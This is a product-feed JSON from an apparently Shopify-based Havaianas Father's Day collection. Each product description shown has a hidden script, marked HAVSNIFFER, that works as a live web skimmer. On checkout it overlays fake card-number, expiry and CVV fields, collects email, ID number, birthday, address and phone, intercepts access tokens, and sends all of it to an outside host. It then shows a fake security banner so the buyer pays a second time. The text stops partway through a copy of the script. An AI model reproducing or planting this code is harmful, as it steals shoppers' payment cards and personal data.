{"title":"Dia dos Pais Havaianas","description":"\u003cp\u003eModelos exclusivos para todos os estilos de pai, com cores, estampas e kits especiais. Chinelos e acessórios para presentear quem sempre esteve ao seu lado - porque seu pai merece o melhor!\u003c\/p\u003e","products":[{"product_id":"chinelo-havaianas-top-max-comfort-4148608-0090","title":"Chinelo Havaianas Top Max Comfort","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA Top Max Comfort é uma Havaianas mais robusta e sóbria. Com tiras largas e um solado anatômico com relevo nos calcanhares, esse modelo fica hiper confortável e vem em cores versáteis para te acompanhar ao longo do dia.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Preto \/ 39\/40","offer_id":45614037565697,"sku":"4148608_0090_390","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 37\/38","offer_id":45620709458177,"sku":"4148608_0090_378","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 41\/42","offer_id":45620759200001,"sku":"4148608_0090_412","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 43\/44","offer_id":45620759593217,"sku":"4148608_0090_434","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 45\/46","offer_id":45620759625985,"sku":"4148608_0090_456","price":69.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 35\/36","offer_id":45793501839617,"sku":"4148608_0090_356","price":69.99,"currency_code":"BRL","in_stock":false}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148608-top-max-comfort-0090-0.jpg?v=1734128580"},{"product_id":"shoulder-bag-havaianas-4145406-0090","title":"Shoulder Bag Havaianas","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003ePense em uma bolsa que comporta o essencial: nela cabem os documentos, o celular, as chaves do carro, as makes do dia a dia e a carteira. A Havaianas Street Bag conta com uma alça charmosa e prática, permitindo que o acessório seja usado como carteira e como bolsinha delicada. Medidas: 16,5 cm de altura; 10 cm de largura; 4,5 cm de profundidade; 1,20 m de comprimento de alça.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Preto \/ Único","offer_id":45614219723009,"sku":"4145406_0090_998","price":134.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4145406-street-bag-hav-0090-0_2e39b853-abb5-4d39-926c-569199958ff1.jpg?v=1734128065"},{"product_id":"chinelo-havaianas-track-waves-4149734-3498","title":"Chinelo Havaianas Track Waves","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame 